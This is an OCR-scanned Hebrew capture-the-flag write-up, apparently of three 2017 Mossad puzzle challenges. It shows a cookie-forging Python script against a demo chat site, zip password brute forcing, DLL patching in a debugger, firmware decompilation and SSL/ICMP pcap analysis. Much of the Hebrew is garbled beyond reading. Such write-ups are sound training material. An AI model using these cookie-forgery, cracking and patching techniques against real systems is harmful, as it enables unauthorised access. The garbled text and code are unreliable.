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Challenge #1

Welcome back Agent CI

Once again we require your skills for an urgent mission.

Our intelligence officers have intercepted a message between notorious terrorists
discussing an imminent attack on targets world-wide.

Intel points to a popular chat website used by these terrorisis to coordinate and select
rendezvous locations.

Your mission is to track the team online and ascertain their physical location.

The following leads to the web site of the online chat service.

Good luckl,
M.
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Registration Status

Technologic

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Register Please enter your login information below

De-register

User name
Login Password

=
About us...

Forgot your password? Click here

:Logins !

LTI 0D 2TN KEXNYIs.nbasynY 112
ny>ayommin *7T1* S5y 2HWIR D>apl
21 L X1 DS . ]
realgam3 DWW T 1 ' DY ND2IYNO nNnv’
Welcome to ChatMaster
Please enter your registration information below:
realgama3
realgam3@gmail.com
Whoot!
N1 WY RD M'EANMY 1 9B WY NMAONINN DM YW'NY AUPOYNKINND
AQWUXD 115w D' DTN MMM 'OTAATWNIDIDNNINN D' MAON 7

ChatMaster Registration Status

There are 36 users before you in the registration queue.
You will get notified when your account is active.

Users on the waiting queue

realgam3
Mr.Li BOb
Dr. Drek
may_o_nez

tom_HW
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deregister> Y1 W' P 11'21'VYH YOI p )linwlilw INKY(

Welcome to ChatMaster
User realgama3 is already registered! Would you like to deregister?

D'X'2Nn 11ININX 1'X [ '"2NY P21 ANWIYI 1 'WwYdyY . ..|l'"*1yn
11 wi11'Y DGookies21 ®' 21 , 1 NN WUXIY 11

m | 9l + | #®  ® | Q  §F

» .deceptionisland.xyz | _ga

+ .deceptionisland.xyz | _gid
+ deceptionisland.xyz | challengeState

* deceptionisland.xyz | eu

Value

RcmVhbGdhbTM=§

()
o’
@

Domain
deceptionisland.xyz
Path

/
Expiration

03/05/2018 10:16 AM
HostOnly [« Session |« Secure HurpOnly

V Help

DBas®41 T 71 p BeializedPatan n NX-ThallengeState

.Google Analytic® D' 2 1giepga T
fealgam3 X' N ANXI NN I NI X D' N1 MYAsSAG4IDIWN NRNWeUW AN IYRD 1T N2

NXNl wnnhvnn D¥W ,NdnNn'wyll D'vynnhvwnn 225 nNnvann NKX
I 2 DResponse )2 11 1 MeNl N 1 XhallenyeSae ' pI peu Myl , ' pl p2
deregister? 1 W' p

D'YynNNunNnn 22% |nmuYm P LTIV AP NNX TR WYAN RIA Ni1n

import re
import requests

# List of all users

users = [
"Mr.Li BOb", "Dr. Drek", "may_o_nez", "tom_HW', é , "britneylspearz"
]
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# Current Challenge State
chall engeState =

# lterate All Users
for user in users:
# Show our place on the list
res=req uests.get(
url="http://deceptionisland.xyz/challengel/viewlist",
cookies={
‘challengeState’: challengeState,
‘eu’: "cmVhbGdhbTM=""

)

# Preserve challengeState Cookie
challengeState = res.cookies.get(‘challengeState’)

# Print our place on the list
print re.search("(There are
res.content).group(0)

# Deregister user
res = requests.get(
url="http://deceptionis
cookies={
‘challengeState': challengeState,
‘eu”: "%s"™ % user.encode('base64').strip(),

land.xyz/challengel/deregister”,

h
headers={

'Referer": res.request.url
h

)

# Preserve ¢ hallengeState Cookie
challengeState = res.cookies.get('challengeState’)

# Print challengeState Cookie (the last state)
print
print {'challengeState": challengeState}

\ d+ users before you in the registration queue V)Y

' ODF3UFAObWI teGp2bEpkRkdmMGRI UOé WHhQWI [Ur Nmcr dFc 3t

N2 0990 NN Saparl TIPp

There are 36 users before you in the registration
There are 35 users before you in the registration queue.
There are 34 users before you in the registration queue.
There are 33 users before you in the registration queue.

é
There are 4 users before you in the registration queue.
There are 3u  sers before you in the registration queue.
There are 2 users before you in the registration queue.
There are 1 users before you in the registration queue.

queue.

{'challengeState": " aXNQSFhL ZVKNURZSINISERbjY="}

1195w DI LVLLDN

challengeStatze I pJ) PMOME 7' Y N2

Welcome to ChatMaster

realgam3

ChatMaster Registration Status

There are 0 users before you in the registration queue
You will get notified when your account is active.

Users on the waiting queue

DY 0OY T2aNNNY D'D01InNn 11NN TIAN T QX XY AANN L)
AN L, ONI "N UN'XDN YTNY Y'aAand®  parealgam3 vmmwnany> .|
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I NIXY NV TI nViewabdapoomsl 1 0XXXD '17TN 22 NX NI XY I
TN NX NI XY T2 0D1I*1*055 ||
Welcome to ChatMaster™! The #1 chat room service on the net!
Welcome to ChatMaster
® Sorry, This area Is reserved for our PLATINUM members only._.
Welcome realgam3!
Chatroom membership
View all chatrooms
Active users
Logout
)
About us...
D'YTNN N9' XChatroanmnembeBHpp 1 T X1 5Nl T11 OX'X 1TNY 710X
D'1''*1ynn
Available Rooms Selected Rooms
50+
art
dating
news
sports
NNDAYIPN TNMINTINOIA 779N 70WAYI11 TAN 1TN 11 N1Y% WO
A1Y D'D2'"AX 11INIXNY AVTIIN D'22pn 112NIX UN'X2 Nl X
OX'' XN 127TNY D1d2$nY '"7TD2 NdXayvni
W O NTWOAK7TOI NN NTANN |1 1ND
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D' TNN NN' YAPEMWAXDO YA T TBEWNYP] NNOwWl D' yvYpn !

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET A HTTF/Ll.1 200 OK
challengel/chatroonlist 7u=apiussrép=apipasswvordéutype=Llirand=£2 P Date: Tu=, 02 May 2017 10:50:15 GMT
LE9305-cahl-4b5d-aE07-f09847eldla7ea=0&s=1&g=5&1at=90.07973 &long Server: Apache/2.4.18 (Ubuntu)
FS0.78369 HTTRE/1l.1 Content-Length: &4
m.xyz Content—-Type: application/json
Accept: application/json, text/javascript, */*
X-Requested-With: XNLHttpRecquest {"chatrooms": ["50+", "art"”, "dating", "news", "politics", "sports"]}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x=E4)

AppleWsbKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81
Safari/537.3€6

Content-Type: application/x—www-form—urlencoded

Referer: http://deceptionisland.xyz/challengel/chatrooms
Accept-Language: en-US,en;q=0.0

Cookie: eu="YihhdFcxeq gat=1; eu="cmVhbGdhbTH=";
challengeState="aXI0SFhL ZVk:IUDNJSTJDUUNkaxUTFVPeDhUTnhDZFVYZHh‘l
MRk ZF ImMVF LS zViR1UVHWF TSDF 2 Z0RYyOD 1wHF RvTVATal REUNI SA 1 VEMURN TEF X
MlhPLzF4¥TnlsM1BhUCSzUGNNEKE INLAQSWF QUK LWk4yNXJBLzFEek9IQ0k1EckDz
VinllyS3 kONXcomhx TIF pVWIvUZ lwOGSkh LVJQkdraZwwZEgwalZFaFVeVidaTiNE
VTItNndPVVo I MHF tLO42 UnZpVyt 3 Up TAVRSVG10aFVSWIVoeEFhYUSke WESHTAL
UWhybZwiVIipjemMZUZ 1TV IhZWUIQLITIFLamp ze Hp Y IV THITEVF yRWIDSZ ISUEAD
AEhsUWnbVVieFFFVI SkimxGaWFJTGSLRZFXalZyRFEDe¥4bh3 11d2 ZmTThZ b
MSBITzBLULROVIRTVDRUIvt Ko dx L2 gyl LAz UmS EQkI TWcd4cEF SRFIELOt xVI 91
RINrNZJBAGRalU0S52 ODhEQURUSWSr TEY 52 ] luWjNwM3 Zr S50 UKIBSVERITI EGe5ts
ATJHZFADOXg4cUIPOIQyT1ZJTWNI ZGswind WUWNyN INkSkhWUzZpYzFieUByEnVe
S VINVVLCGRp Wk L MHF xdUx G Znpd TmS i UpnM3 h2 UGNSVURZSDISS ) JRb Y=";
_ga=GAl.2.1245930603. 1493677213 _gid=GR1.2.142123518. 1493722139

nTp-l UNnnwn DRTal D0 YNnNwnin )uatyped DAY VA DO'XNIUINIID N1 X
Lall ®dmin 1 nD> antkM1INnNo' D

252 O0O1-nutype (N Nrue-Dfalsen 1-20-na NX NNX N1 WY1 NXpP 0D'I170nNn190n
T 199N oDrtr1a1'wn YaX DA D' TAILY 1IN o DO*ONN Ot

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

L % HTTR/L.1 200 GK

challeng=l/chatroomlist7u=apinsstdp=apipassvordeutyps=Osrand=c2 | [ Date: Tus, 02 May 2017 Ll0D:51:24 GHT
1EIBEDS*LBhL*‘[bE-d*aED’?*fDBE‘1'751d2a7&a:l&s:L&gZSElat:9D.EI’?S’?E&1ung| Server: Apache/2.4.18 (Ubuntu)

Content-Length: 202

Host: deceptionisland.xvz Contenc-Type: application/ison
Accept: application/json, text/javascript, */7*
X-Requested-With: XMLHCTpRequest {"chatrooms”: ["+just chat*","-Mossad challenge solutions-","S0+", "Mobile & gadgets”, "Platinum
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x£4) dancing
AppleWehEit/537.3€ (KHTML, like Gecko) Chrome/58.0.3028.81 club",” chatlge ", "art”,"computing”, "dating”,"nsws","politics”, "sports”,"~~!!!WeRGDdsFury!!!~~"]

Safari/537.36

Contenc-Type: application/x-www-form-urlencoded

Refsrer: hrep://deceptionisland.xzyvz/challengsl/chatrooms
Accept-Language: en-US,en;q=0.8

Cookis: eu="YihhdFexeg=="; _gat=l; eu="cmVEbGAMSTH=";
challengeState="aXN0SFhL ZVivIONISTIOUMy Zkx UTFVPe DRUTRhD ZFVTZWhA
MRk ZF 1MVFLS 2V3 B 1UvHWFTSDF 2 Z0RyOD 1wMFRvTVATa 1 REUnd S LVEMURNTEFX
MLhPLZF4Tn1sM1BhUCS zUGHNRIZ I 1AQSVF UQUK LWkc4yITXIBL 2F Ee k9 TQk LECKD
V53 kONEdoHimh: Y3 FpVWIvIS 1w0GSkh 1VIQkdral ww ZEgwalZF aFVuV3 JaTINE
VTJtNRdPVVo3 MEFtLO4Z UnZpVyt I SUpTAVRSVGL0aFV 5 VS=EFhYUSke WESHTAE
UWhybh2wZV1pdewlz U2 1YV 1h2 WUQLTIFLamp 2= Hp 6 Y 1V TRI TZVF yRW1DS2 JSUEAD
AEhSUWHNbVVieFFFV25kCm«GaVFI TG5LRIF a0 ZyRFEDCKMAb 3 1102 ZnT Tkbmxx
K82 TzBLULROVIRYVDRuQytKejdxLZ gyl AzUm9 6 Qkd TdWd4cEF SRFNKLOtxV29 1
RINYNZJBAGRaUD 52 CDhKQURUSWSY TXT523 LuWNwh3 ZrSSOUK3 BSVERZT] 2GSt s
ATIHZ3ADOX G4 cUTPQI QyT 12 TWIN2 ZGSvwSnd WOWHyN INSKhWU 2 2p Y aF 1 U8y Znvy
SIVENVVLCGRD W LMHF % dUxCZnpd TmScliUp i3 h2 UGHSVURZSDISS I JRLIY=";
_ga=GAil.2. 1239930603, 1393677213; _gid=GAL.2.142123918. 1493722139

Mossad-( 2170 1 nd> NXpP NAXYIWYW 1TNY 2% n'nw nDalt( OLON'X
, UN" XN 27TNY D12'NY% T2 11NI1 X 1 vhalengd dotutionmsn Y N1 nw
Forgotyour - 1 D9W nNno' &iv UIY'N 'MDIyYyNN S0N1nY YI19Y wo;

. password?

W RTW0ALK7TO01I Nnn NTANX |1 12ND
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Welcome to ChatMaster
Forgot Your Password?

Please enter your username below:

User name

SUBMIT!

The admin password for "chatW1z" was successfuly reset. hint: /challenge1/password_hint

T N, Y2l hptp//deceionistar.ky#/challengel/password_hint1 1 W' p > D' D1D1 1 N1,

file N T1 PON DY Yal pin A1 D

root@kali: # file password hint

password _hint: Zip archive data, at least v2.0 to extract

yX21Y fackzigmm wnnwl T X ,NND' D2 DI VZp ¥OAn ppwlI mn 5ano

Y2l pn Y v BrateForcedMo Hvn

root@kali: # fcrackzip -u -c Aal -1 1-6 ./password hint

NNO' DN NN XN'"XIn5u 'fT2 YI 5'nN
NI1VP NI ' NI-Mal, MEGolaFaz AFIAZNINNID' DIVOP DB X A O

D' 1oo0nNI
16 : NnnNno'o0Y 4 MwoN HTI A

DLL Y21 p Y Irzip NMNIAMIANID' T N ydocl pR'TNXK I YAONMXIN ¥E NI N,D ' T

root@kali: # unzip -x password hint
Archive: password hint

[password hint] PassMasterExtension3 1.dll password:
inflating: PassMasterExtension3_1.dll

W KRD2WAK7TO0I NN NTANNX |1 1NDO
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NI XN1Y Run'DeerRporteidon' X P11 DIDA'DBLLIVI2 AW 11T NY 1 1XXDN | 3
Nan Tl p VYOpA2
Mame Address Ordinal
(3] Decrypt 73772800 1
] Decrypt2 73772800 2
(] Encrypt 73772800 3
(] Encrypt2 73772830 4
(2] Run 73772C20 5
&d DIEn 73772F3E [main ent
nNX21n no' va N1 1 dxBZubg NN WriBdADO BDID]NBITII'J TANX2Y T oy n
2w D' D1 2n'x32dbgay!| WhkADROMY 1 NI 2
CPU QGraph | | 2 Log | [ Notes ® Breakpoints | #88 Memory Map | [l call Stack | =3 SEH | |#| Seript | & symbols | <2 Source
Base Module Party ~ || Address | Type Symbol
00410000 | d111oader32_9138. exe User ' 736F2EB00 | Export | Encrypt
&80 30000 | ucrtbase.d11 System |1 736F2B30 | Export | Encrypt2
&C100000 | api-ms-win-crt-convert-11-1-0.d11 System |1 736F2B30 | Export |Decrypt
&C110000 | api-ms-win-crt-stdio-11-1-0.d11 System |1 73I6F2BCO | Export |Decrypt2
SCAFOO000 | api-ms-win-crt-heap-11-1-0.d11 System |1 736F2C20 | Export |Run
SCES0000 | api-ms-win-crt-string-11-1-0.d11 System |1 736F2F3E | Export | OptionalHeader.AddressOfEntryPoint
SCE20000 | api-ms-win-core-file-11-2-0.d11 System |1 736F4000 | Import | GetModuleHandlea
SCE30000 | api-ms-win-core-processthreads-11-1-1.d11 | System |1 736F4004 | Import | GetTickCount
GCE40000 | api-ms-win-core-synch-11-2-0.d11 System |1 736F4008 | Import | SetUnhandledExceptionFilter
SCESO000 | api-ms-win-core-localization-11-2-0.d11 System |1 736F400C | Import | GetCurrentProcess
SCESD000 | api-ms-win-core-file-12-1-0.d11 System |1 736F4010 | Import | TerminateProcess
SCEADDODOD | api-ms-win-core-timezone-11-1-0.d11 System |1 736F4014 | Import | IsProcessorFeaturePresent
SCEBOOOO | veruntimel4o.dll System |1 736F4018 | Import | IsDebuggerPresent
2030000 | api-ms-win-crt-runtime-11-1-0.d11 System |1 736F401C | Import | InitializeSListHead
p] passmasterextension3_1.d11 User | 736F4020 | Import | GetSystemTimeAsFileTime
5510000 | kernelbase.d11 System |1 736F4024 | Import | GetCurrentThreadId
75A30000 | msvert.dll System |1 736F4025 | Import | GetCurrentProcessId
75E40000| gdi3z2.dl11 System |1 736F402C | Import | QueryPerformanceCounter
imm3z2.d11 System |1 736F4030 | Import | UnhandledExceptionFilter
rpcrt4.dil System |1 736F4035 | Import | memset
advapizz.dll System |1 736F403C | Import | __std_type_info_destroy_list
usplo.dil System |1 736F4040 | Import | _except_handler4_common
Tpk.d11 System |1 736F4044 | Import | memcpy
user3z.dll System |1 736F4080 | Import | __stdio_common_wfprintf
kernel3z.dl1 System |1 736F40584 | Import | __acrt_iob_func
sechost.dl11 System |1 736F4088 | Import | _stdio_common_wfscanf
msctf.dll System |1 736F404C | Import (malloc
ntd11.d11 System |1 73I6F4054 | Import | _cexit
736F4058 | Import | _crt_atexit
73GF405C | Import | _execute_onexit_table
736F4060 | Import | _register_onexit_function
736F4064 | Import|_initialize_onexit_table
736F4068 | Import | _initialize_narrow_environment
736F406C | Import | _configure_narrow_argv
736F4070| Import | _seh_filter_d11
736F4074 | Import | _initterm_e
736F4075 | Import | _initterm
I NY D' XpPl1l DN NN 1Y SedNew Origimherew 9 X32diogny 1 N1 Y | KN
nNYp'>2n 1IN , D' &A™ NPIVO W, ivyAn p 21 NO251 A5 ' ' onl p 0OI
DNl KX r]II']'lb I Ub o'"T0onnbob nnod oW ON O I oo ,mTJT)'J' oy
1 1 1
TRp— p— . ONNN2 D'Vy'axXnnl DO'70Nn15N NN
& Patches Ctrl+pP
3 vera... crl+v
Set New Origin Here Ctrl+* I
11' Create Mew Thread Here
& G »
1ol Search for »
L ! .
W RTW0ALK7TO01I Nnn NTANX |1 12ND
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Ypan NI DY NNnO'OYWMWI' WTITRPANN DDAIMNN D' NN
7| C\Users\master\Desktop\DLLLoader32_79C2.exe EI@

Managnment password:
1234

m| s

DN M 21N XNOD'DN N'NN NN NVYVTYS NITWYODX ¥nn | ' X DA
D'IN') wYnn KXY DA DpY Ny GetTickCrush O p 'DT NN M'VYW NN
Ni'1H TIDbyM XNO'0ON N'AN nNn NItnN® NIoi1d | nt 112

T Tnn TP o yoLupn

73F728F1
737728F3
737728F6
737728FB
737728FD
737729088
F3F72901
73772982
73772983 ; "kernel32.dll"
73772908
t7377290A
73772918
73772915
F3F7I291C
tF3772922
F3FF292Y
F3772929
F377292B
F3FF292D
73772938

NN '9Y 0N' DUEOMNAWNM' WXNO' ONIOx4NM2?TNAND KRNDID D' alaIwnNn
N2 ¥nn X2 XIn DhMp't NiMr DRetTcCoMRtEYym p1 W N,

')N NW’IOAl{?TDI nn TA NN | 1 ANDH
www.DigitalWhisper.co.il
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jnebNOP D' WLV 50NN NX 1 Pacmm? mPYTABDYXDHBHON NApPpna 0O
WEzF e B3 F8 O1 Cmp eax, 1
[EELEL ] ~ 75 2D jne passmasterextens1un3 1.73792AD2
| L 8D 8D FC EF FF FF lea ecx,dword ptr ss:|febp-1004]
- ! . ES 50 FF FF FF call passmaster‘extens1un3 1.73732A00
l . 8D 8BS FC EF FF FF lea eax,dword ptr ss:|[febp-1004]
! . S0 push eax
| . 68 90 49 79 73 push passmasterextension3_1.73794990
i . ES8 5F E5 FF FF call passmasterextens1un3 1.73791020
0 . 83 C4 08 add esp,8
! . BB 4D FC mov ecx,dword ptr ss:|[ebp-4]
! L] 33 CD Xor ecx,ebp
! . E8 57 01 00 00 call passmasterextension3_1.73792C25
1 . 8B ES mov esp,ebp
| o 5D pop ebp
i . C3 ret
L 65 AS 49 79 73 push passmasterextension3_1.737949A8
. ES 44 ES FF FF call passmasterextension3_1.73791020
. BB 4D FC mov ecx,dword ptr ss:|[ebp-4]
L] 83 C4 04 add esp,4
. 33 CD xor ecx,ebp
. ES8 2C 01 00 00 call passmasterextension3_1.73792C25
. BE ES mov esp,ebp
- A v oon ebho
DN wa
B3 F8 01 cmp eax,1
20 nop
o0 nop
NOW ' 70D n 2'Ypnvon Nbonrniw 1o Nl nNwvn NXnNno' 0On , 115wy Xno!
TIWO O OTNN | Y2 N2 OpAmO Mol vl
[H| < \U;ar;\ma;tar\Da;ktop\DLLLoaderEZ T9C2.exe EI@
: chatroonguardian £
D'1TN TWUKND 200" 11NIN TN '] '"nTN
Welcome to ChatMaster
@ Recent chatroom membership approval:
Pending chatroom requests
L ogout
o
About us...
"~~!\NbRGOdSFUI!y! " ~~N1 1 o' o' X 1T NIXNY ATNhnNnY DO'"12'"2nNn 11N
W ND2WOAL7TOl NN NTANK |1 ITND
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NN' SHTMED M1 TNN DY ' 11'Y NWRPIAD MY WIRO wAMBWXAO®I1I T NI |
nwpan
You are a member of the ~~!!!WeRGO0dsFury!!!~~ chat room
Available Rooms Selected Rooms
50+ - ~~1IWeR GOdsFurylli~~ -
art
dating
news
politics
sports
TTMRA OTWNI? NDRYNMYYNDRDIDOW DI W D121 |
User 'realgam3' would like to access '~-~IIWeRG0OdsFurylll~~'
JChatNow{ Y7TNnY D1211 NIIIINKN DYDI 115V ¥nnwnod
@ Welcome to the ~~!!/WeRG0dsFury!!!~~ chatroom! (You are the only one in the room)

Welcome realgam3!
Chatroom membership
View all chatrooms
Active users
Chat Now!
Logout
=

About us...

‘Where are you my friends??? | am already here at: The-bay-
watch’
Please hurry, and bring the ‘kandies’. | have a feeling we're being watched

' X2n 2%w) ThebapwatchY nawnpn Sy nax'n!

16
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IExplode 5.441 " = * .

nNn'wvynn Sy 12100

~

Challenge #2

Well done Agentl

The location you recovered was correct and we dispatched our tactical team.
However, the terrorist group was already gone by the time they arrived. We gathered
enough intel to determine that the terrorists have planted a bomb on an airplane
somewhere in the world, but we do not know the flight number and/or its destination_

We did however recover a of the bomb from the terrorist meeting.

Our steganography expert insists that the picture contains a hidden message, but she
was unsuccessful in uncovering it before she left on her honeymoon.

We require your assistance in locating and defusing the bomb before it detonates.
There isn't much time. ..

Good luckl,
M.

NI NNan Nr1anNn y>5NnY kombpng ) tnn vl Nopictre) Dre * 1nkman® -, )

NNT Nizetegd' »>TD wnNnNwl 1 X

# zsteg bomb.p

PDI(1 141BMB X'N LOPLN NX NX'"2ANNY ' TD N2 IZYEQPNYNY N ¢
MYy 1P X XoO9 kXD bg(Axraa, yx3w yiod |

NI W'P o 2A1lw D'Yapn 1 12NYIN Baseed N NnD' NMAIDIN 110NN U
D' “hitpri/deceptionislard.xyz/challenge2/bomb 11 W' p > 0 '/challenge2/bomdhay X . "

NXXODnN NX Y701Y% "7T2 YNInnNn NND' D NN

)

."’,vl Remote Bomb Control System

Powered by iExplode™_ All rights reserved

Disarm Bomb
Please enter your admin password below to disarm the bomb

Bomb Remote-Control Menu
Explode Now!!

Admin Password

o)

Disarm Bomb

Manual defuse

Bomb Info

W RTW0ALK7TO01I Nnn NTANX |1 12ND
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http://deceptionisland.xyz/challenge2/bomb

B Technologic o

iExplode 5.4 N>Yynn NNVl pY 1 1Bsmipinfod' vd' I 111NN NN

£\

.“vl Remote Bomb Control System

Powered by iExplode™ _ All rights reserved

Bomb Information
Bomb Remote-Control Menu
" 070 =]
DS E D Model Number #BMB123%UKFG%22311 C-4 edition
Manual defuse Serial Number 0000000000000000001
Bomb Info. Status Armed
Firmware Version iExplode™ 5 4 Beta edition
License None (Evaluation version)
Plastic (standard) Plugin Installed
Anthrax Plugin Not installed
Extra Damage Plugin Not installed
Mass Destruction Plugin Not supported

file NTI PON NIATVYA YAl pn A1 D Nn |['anY 0

# file firmware

hive data, at least v2.0 to extract

file MY T VYA 121 N2 yOnzipMIxIvam nAZENRA WRMAY IINp X1 D Y2

[
extracting: ead62fcb3feb4lc2bee?22cleed9aa7of
ali:~/m d# file ead62fcb3feb41c2bee22cleed49aa7of
fcb3feb41lc2bee22cleed9aa/9f: Linux rev 1,0 ext2 filesystem data, UUID=b234e

041-6919-4b01-9e29-6212081ece9e, volume name "iExplode"
_____ .,

sl Tt .

I NI N Nmam2 YNTowext2Zr X1 PN 0pl1'5 HSvw D'X2p nNdXayn D\

NTI pOM'IMITPpYA n' ' p' NH

mount ead62fcb3feb41c2bee22cleed49aa79f ./mount / |

TNAND DWW D' X 2NARMwWwWWON DD P D T X

mount -t ext2 eads2fcb3feb4lc2bee22clecd49aa79f ~/mossad/mount/
d# cd mount/
Iroot/mossadimountivarfviwwe! ount# cd var/www/
' ount/var, #

f iexceptions.py 2017-03-21...
T iexplode.py 2017-03-21...
__|iexplode. wsgi 2017-03-21 ...
[ Pmamt.pye 2017-03-21 ...

yXxaYn 5 Pmymbpyeltiexplodepy | ' WOy D' 12 '11n¥n wld' XY NNKX2
pp 1T T i uméompleg o R WY T p PmgmhpgycX Y QI Daceritpie
NT1 poON DV

# Install

pip install uncompyle6

# Decompile

uncompyle6 Pmgmt.pyc > Pmgmt.py

')N Nl'ﬂ“lOAl(?'[Dl nn TA NN | 1 ANDH
www.DigitalWhisper.co.il
18 2017 4 83« T x 4 L ¥




cdefuse_ pagé D' D' X 1 1N1INY qexpogelpy 01 PR MNXNDIT NMWUD| |

def defuse page(environ, start_response
try
if environ
raise ErrorPage

defuse_data — environ read( 100
defuse_data = parse_gs(defuse_data

if Pmgmt.CheckPassword(defuse data

start_response
res

return res

start_response
res

return res

| " wPmgriatpyc 11 N2  NOhedkPessword DW21 NINX D' Xpll Dl Nwnnvwn
Pmgmtpy Y21 P2 )™I mOI X2 KRbO' T1 p NIt X

Problem reading i

| bffsetd wnniew/edprun-y XXN1W Y2l pn NN XIIPY 770X nNno!
. PASS nN1nNvYnl NI XNOD' DY 0OpT

# python -c "import Pmgmt; pllm

NNOD' 0 HMOROOGADAORODT ;) 1 V fexgiun Y 21 P 2 Wbamg81 ' T SN0 ' 10
P TANXD 2%2v)Y AWmwna  'AaRX 5NN UK

W KRD2WAK7TO0I NN NTANNX |1 1NDO
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Technolooi

Its Encrypted- =~ x . 1+« >

nNn'wvynn Sy 12100

Challenge #3

You did it againl

The bomb you defused was discovered soon after the airplane landed (seems that
someone posted an anonymous tip to local authorities__ ).

Additionally, we have been able to recruit an agent within the terrorist cell.

We are unable to maintain constant contact with him as the agent is deep undercover.
However, he did manage to post a to our secure servers. We require your
skills once again in order to follow the communication trail and reveal the message.

Thanks, and good luckl,
M.

message Y1l Ppn NX T' 11 TN ,DNIX N1YDHY 770X 1 N] KNI
file NMAT V2 yYalpin A1 0 NN

# file message

pcap-ng capture file - version 1.0

Network Sw 25w5 nrn 215 ureshakk DWO I MpaA@MPN Y 211 p21 1121 TN
W' nn Wiredhark D'VT 1 Nimessag@@apmd Y 11 pIN DY DADEnsiesN
. Statistics> ProtocoHirarchy 0 ' 1 Brotacgl Hirarchy N1 1 » 2

‘ Wireshark - Protocol Hierarchy Statistics - message
Protocal v Percent Packets Packets Percent Bytes Bytes Bits/s End Packets End Bytes End Bits/s
~ Frame 1000 114 1000 24296 7764 0 0 0
v Ethernet 100.0 114 6.6 1596 510 0 0 0
+ Internet Protocol Version 4 100.0 114 9.4 2280 728 O 0 0
~ Transmission Control Protocol 683.2 72 1.7 27135 8671 32 11224 3586
Secure Sackets Layer 22.8 26 60.7 14759 4716 8 3682 1176
Malformed Packet 79 g 0.0 0 0 9 0 0
Data 44 5 03 77 24 5 77 24
Internet Control Message Protocol 52.6 60 15.8 3840 1227 60 3840 1227

TCP N1 1 2YyN1 VI NnICMPAWSS)DMIHBINN NI12YyN2 2N vwin'y
.22 PpNMY> Wl AN AX | NNI X won

W RTW0ALK7TO01I Nnn NTANX |1 12ND
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - message

220 (vsFTPd 3.8.2)
AUTH SSL
234 Proceed with negotiation.

.Ul ..govl.®.. *.H..

. ...1337@gov.ile. .
1703230633177.

18632306331770z1.0 .Ul T11.8
..U....Israell.@...U....Tel-Avivl.@
..U

..govl.@

............. X...{X..0..9...R....f3;_p.o.....0.,.(-%...

(RPN S 0 4 < - T - AR DR . TR - T S 3

P L L

.

_..<¥rsZhre...5....Q.V<c<}. T oot B e 0...0.........
*_H..

..... 9z1.0 PR R I -}

veier....g.@.7.5.3.2.1.0.........E.D.C.B.1.-.).

990 D1 n' 1 FTBover SSLMM 1 2y N1 1121 Tfollawtcp streami 1 1 T MY W ' AT NN T N
Tunnelk> ICMP2 wnnwnbY 0' 01 NICMP NRT PYMMII' TR W NN , oo
nNXWMNMNn1o VvI'n Nl1avn'

0000 9@ Oc 29 70 8e 00 00 Oc 29 99 75 ca 08 00 45 00 dp.... ).u...E

0010 00 54 ff 2b 40 00 40 @1 29 1d c@ a8 c8 86 cO a8 T.+@.@. ).on....

0020 ¢8 88 98 00 83 38 @d c2 00 @1 2f ac €9 58 @@ GO . .... 8. ../..X%..

0030 00 00 21 2e Of 00 90 00 00 @9 2f 63 68 61 6¢c 6c  ..l..... ../chall

0040 65 Be 67 65 33 2f 70 6b 65 79 2f 63 68 61 6¢c 6c  enge3/pk ey/chall

a050 65 6e 67 65 33 2f 78 6b 65 79 2f 63 68 61 6¢ 6C enged/pk ey/chall

@A068 65 6e en

Jchallenge3/pkey ' I D NNoO5NY 5'21 Ny 1 Y'p

000D 8@ @c 29 70 Be 00 @@ Oc 29 99 75 ca 08 00 45 00 Yp.... J.u...E

0010 00 54 ff 2c 40 00 40 01 29 1c c® a8 c8 86 cP a8 T.,0.@. ).o.....

0020 c8 88 08 00 fc be @d ¢3 00 @1 2f ac €9 58 @0 00  ........ /.. X .

0020 00 90 af 31 Of 02 00 0@ 00 @0 73 65 63 72 65 74 ..1.... ..secret

0040 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret

0050 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret

0060 20 20

secret | DINMNn DY AyTIn w! NNS5nn 0OV

0000 90 @c 29 70 Se 00 @@ Bc 29 99 75 ca 08 00 45 00 )p.... ).u...E

0010 00 54 ff 2d 40 80 40 @1 29 1b cO a8 c8 86 c@ a8 T.-@.@. )oun-n...

9020 8 88 @8 00 Oc 6c @d c4 00 1 2f ac e9 58 90 60  ..... 1.. ../..%..

0030 00 00 ba 34 Of 00 00 B0 00 @8 2f 63 68 61 6¢c 6c  ...A.... ../chal

0040 65 6e 67 65 33 2f 61 62 63 64 2f 63 68 61 6c 6c  enge3/ab cd/chall

0050 65 6e 67 65 33 2f 61 62 63 64 2f 63 68 61 6¢c 6c  enge3/ab cd/chall

P68 65 bBe en

N NT2W0AK7TOI NN NTANXNK |1 1ND
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N1 W' pl Wik pol pwDy DVON sear®t Tl NI TN YO M 1iXXTI nn T NN

N1 pna , | JopeAssN 1wWmIPW1 TOX , NNO' D21 /chalbeNge3mbcd D1 DN NN

P11 Aseatet NI I DN NOD! DNOXIOAMN N1 AYVND NN ni1yob ''T1D
@Y mMNO5NN YTNND Y ny Tl na V!

wnnwWiréshark NX A 951 p1RSAN UMD YNTEOMN secteb n®* ' n' POMI NNOD' D

.)Edit-> Preferences> Protocols> SSE>Edif N1 9X1I nn N1 2AyVNnN NX NI

SES ~
sFlow
SGSAP
SIGCOMP
SIMULCRYPT
sIp | |
SKINMNY
SMB
SMB2
SMBDirect
SML
SMPP
SMTP
SHA
SNMP
Soulbeek
SoupBinTCP
SPDY
SPRT
SRVLOC
SSCOP
55H
SSL
STANAGS08IY +| — |
>

Secure Sockets Layer
RSA keys list Edit...

551 debug file

Browse...

Reassemble S5L records spanning multiple TCF segments
Reassemble S5L Application Data spanning multiple S5L records

M 551 Decrypt ? X

IP address Port  Protocel KeyFile Pass

192,168.200.136 990  tcp C:/Pentest/Challenges/Mossad2017/Files/pkey~/pkey_dec

G lusers [zait itz |Roaming [Wireshark jss! ke|

Cancel

Help Help

oD" NI N 1 N1 N )

Nilox|

nn il

TN NNTXR PPON

1V Wieshark n'N!

AMMA SO PWT 'OD

TNXY21 YFIR POYNAREND N

58 4f 52 54 28 31 39 32
2c 31 33 34 2c 31 38 33

